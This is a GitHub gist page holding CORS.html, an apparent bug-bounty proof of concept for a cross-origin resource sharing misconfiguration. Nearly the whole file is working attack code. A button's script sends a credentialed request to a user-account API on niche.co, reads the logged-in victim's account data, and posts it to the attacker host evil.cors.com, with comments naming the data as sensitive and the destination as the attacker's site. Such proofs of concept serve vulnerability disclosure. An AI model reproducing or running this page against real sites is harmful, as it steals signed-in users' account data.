Created
June 29, 2020 14:43
-
-
Save pikpikcu/fd90959881691bab11eb4d8b02acd6ea to your computer and use it in GitHub Desktop.
CORS.html
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<html> | |
<body> | |
<button type='button' onclick='cors()'>CORS</button> | |
<p id='demo'></p> | |
<script> | |
function cors() { | |
var xhttp = new XMLHttpRequest(); | |
xhttp.onreadystatechange = function() { | |
if (this.readyState == 4 && this.status == 200) { | |
var a = this.responseText; // Sensitive data from niche.co about user account | |
document.getElementById("demo").innerHTML = a; | |
xhttp.open("POST", "http://evil.cors.com", true);// Sending that data to Attacker's website | |
xhttp.withCredentials = true; | |
console.log(a); | |
xhttp.send("data="+a); | |
} | |
}; | |
xhttp.open("GET", "https://www.niche.co/api/v1/users/*******", true); | |
xhttp.withCredentials = true; | |
xhttp.send(); | |
} | |
</script> | |
</body> | |
</html> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment